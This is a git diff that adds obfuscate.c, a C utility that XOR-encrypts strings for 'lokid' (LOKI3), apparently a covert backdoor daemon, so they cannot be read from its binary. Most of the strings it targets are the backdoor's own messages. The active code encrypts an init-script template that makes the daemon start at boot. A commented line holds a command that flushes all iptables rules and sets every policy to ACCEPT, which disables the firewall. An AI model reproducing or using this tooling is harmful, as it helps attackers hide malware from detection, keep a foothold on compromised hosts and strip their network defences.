diff options
Diffstat (limited to 'obfuscate.c')
| -rw-r--r-- | obfuscate.c | 144 |
1 files changed, 144 insertions, 0 deletions
diff --git a/obfuscate.c b/obfuscate.c new file mode 100644 index 0000000..98e77db --- /dev/null +++ b/obfuscate.c @@ -0,0 +1,144 @@ +#include <stdio.h> +#include <sys/types.h> +#include <stdlib.h> +#include <stdint.h> +#include <unistd.h> +#include <string.h> +#include <time.h> + +#define CSTROBF_MAX 1024 +#define KEY_SIZE 8 + + +typedef struct cstrobf { + uint8_t str[CSTROBF_MAX]; + size_t size; + uint8_t key[KEY_SIZE]; + size_t ksize; +} estring; + + + +char *decrypt(estring encrypted) { + int i; + char buf[CSTROBF_MAX] = {0}; + + for (i = 0; i < encrypted.size; i++) + buf[i] = encrypted.str[i] ^ encrypted.key[i % encrypted.ksize]; + + return strdup(buf); +} + +void destroy(char *buf, size_t len) { + for(int i = 0; i < len; i++) + buf[i] = rand() % 256; + free(buf); +} + +void encrypt(const char *varname, const uint8_t *buf) { + int i; + uint8_t ebuf[CSTROBF_MAX] = {0}; + uint8_t key[KEY_SIZE] = {0}; + size_t len; + + + len = strlen(buf); + + for (i = 0; i < KEY_SIZE; i++) + key[i] = rand() % 256; + + for (i = 0; i < len; i++) + ebuf[i] = buf[i] ^ key[i % KEY_SIZE]; + + /* ughly ass print this to stdout. if you don't want a newline, + whack off the last byte, and decrease the size by one */ + printf("estring %s = { \"", varname); + for (i = 0; i < len; i++) + printf("\\x%02x", ebuf[i]); + printf("\", %ld, \"", len); + for (i = 0; i < KEY_SIZE; i++) + printf("\\x%02x", key[i]); + printf("\", %d }; // %s\n", KEY_SIZE, buf); +} + +int main(int argc, char *argv[]) { + srand(time(NULL)); + + //estring L_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n + + //char *d = decrypt(L_MSG_BANNER); + //printf("%s", d); destroy(d, L_MSG_BANNER.size); + + + //encrypt("S_STAT_REQUESTS", "requests:\t\t%d\n"); + //encrypt("S_STAT_BYTES_WRITTEN", "bytes written:\t\t%d\n"); + //encrypt("S_STAT_PACKETS_WRITTEN", "packets written:\t%d\n"); + //encrypt("S_STAT_CLIENT_ID", "client ID:\t\t%d\n"); + //encrypt("S_STAT_UPTIME", "server uptime:\t\t%.02f minutes\n"); + //encrypt("S_STAT_CRYPTO", "active cryptography:\t%s\n"); + //encrypt("S_STAT_TRANSPORT", "active transport:\t%s\n"); + //encrypt("S_STAT_INTERFACE", "remote interface:\t%s\n"); + //encrypt("S_STAT_VERSION", "\nlokid version:\t\t%s\n"); + + + encrypt("S_SYSV_SERVICE", "#!/bin/sh\n" + "### BEGIN INIT INFO\n" + "# Provides: %s\n" + "# Default-Start: 2 3 4 5\n" + "# Default-Stop: 0 1 6\n" + "# Short-Description: %s\n" + "# Description: %s\n" + "### END INIT INFO\n\n" + "case \"$1\" in\n" + " start)\n" + " %s &\n" + " ;;\n" + "esac\n" + "exit 0\n"); + //encrypt("S_CMD_FLUSH_IPTABLES", "PATH=/sbin:/usr/sbin iptables -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t nat -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t mangle -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -F 2> /dev/null; PATH=/sbin:/usr/sbin iptables -t raw -X 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P INPUT ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P FORWARD ACCEPT 2> /dev/null; PATH=/sbin:/usr/sbin iptables -P OUTPUT ACCEPT 2> /dev/null"); + + //encrypt("S_MSG_CLIENT_DB_FULL", "\nlokid: Client database full"); + //encrypt("S_MSG_EXPIRED_CLIENT", "\nlokid: inactive client <%d> expired from list [%d]\n"); + //encrypt("S_MSG_CLIENTK", "\nlokid: clean exit (killed at client request)\n"); + //encrypt("S_MSG_UNKNOWN", "\nlokid: cannot locate client entry in database\n"); + + //encrypt("S_MSG_CANNOT_CHDIR", "[fatal] cannot chdir to WORKING_ROOT"); + //encrypt("S_MSG_CANNOT_DETACH_TERMINAL", "[fatal] cannot detach from controlling terminal"); + //encrypt("S_MSG_CANNOT_CREATE_SESSION", "[fatal] Cannot create session"); + //encrypt("S_MSG_CANNOT_DAEMONIZE", "[fatal] Cannot go daemon"); + //encrypt("S_MSG_CANNOT_SIGNAL_PROCESS_GROUP", "[fatal] could not signal process group"); + //encrypt("S_MSG_SENDING_L_QUIT", "\tsending L_QUIT: <%d> %s\n"); + //encrypt("S_MSG_TRUNCATED_WRITE", "[non fatal] truncated write"); + //encrypt("S_MSG_POPEN", "\nlokid: popen"); + //encrypt("S_MSG_CLIENT_ALL_KILL", "\nlokid: client <%d> requested an all kill\n"); + //encrypt("S_MSG_CLIENT_FREED", "\nlokid: client <%d> freed from list [%d]"); + //encrypt("S_MSG_FORK_ERROR", "[fatal] forking error"); + //encrypt("S_MSG_WIERDERR", "\n[SUPER fatal] control should NEVER fall here\n"); + + //encrypt("S_MSG_SHM_DETACH_ERROR", "[fatal] shared mem segment detach error"); + //encrypt("S_MSG_CANNOT_DESTROY_SHMID", "[fatal] cannot destroy shmid"); + //encrypt("S_MSG_CANNOT_DESTROY_SEMAPHORE", "[fatal] cannot destroy semaphore"); + //encrypt("S_MSG_SHM_SEGMENT_ERROR", "[fatal] shared mem segment request error"); + //encrypt("S_MSG_SEMAPHORE_ALLOCATION_ERROR", "[fatal] semaphore allocation error"); + //encrypt("S_MSG_CANNOT_LOCK_MEMORY", "[fatal] could not lock memory"); + //encrypt("S_MSG_CANNOT_UNLOCK_MEMORY", "[fatal] could not unlock memory"); + //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD"); + //encrypt("S_MSG_SIGUSR1", "[fatal] cannot catch SIGUSR1"); + //encrypt("S_MSG_SIGCHLD", "[fatal] cannot catch SIGCHLD"); + //encrypt("S_MSG_SIGALRM", "[fatal] cannot catch SIGALRM"); + //encrypt("S_MSG_SIGTERM", "[fatal] cannot catch SIGTERM"); + //encrypt("S_MSG_ATEXIT", "[fatal] cannot register with atexit(2)"); + //encrypt("S_MSG_IP_HDRINCL", "Cannot set IP_HDRINCL socket option"); + //encrypt("S_MSG_SOCKET", "[fatal] socket allocation error"); + //encrypt("S_MSG_UNKNOWN_TRANSPORT", "[fatal] Unknown transport\n"); + //encrypt("S_MSG_NOPRIV", "\n[fatal] invalid user identification value"); + //encrypt("S_MSG_CANNOT_SIGNAL_PARENT", "[fatal] could not signal parent"); + //encrypt("S_MSG_CANNOT_ADD_KEY", "\nlokid: Cannot add key\n"); + //encrypt("S_MSG_USAGE", "\nlokid -p (i|u) [ -v (0|1) ]\n"); + //encrypt("S_MSG_UNSUP", "\nlokid: unsupported or unknown command string\n"); + //encrypt("S_MSG_PROTOCOL_CHANGED", "lokid: transport protocol changed to %s\n"); + //encrypt("S_MSG_SEND_PROTO_UPDATE", "\tsending protocol update: <%d> %s [%d]\n"); + //encrypt("S_MSG_PROTOUPDATE", "\nlokid: client <%d> requested a protocol swap\n"); + //encrypt("L_MSG_BANNER", "\nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n"); + return EXIT_SUCCESS; +} |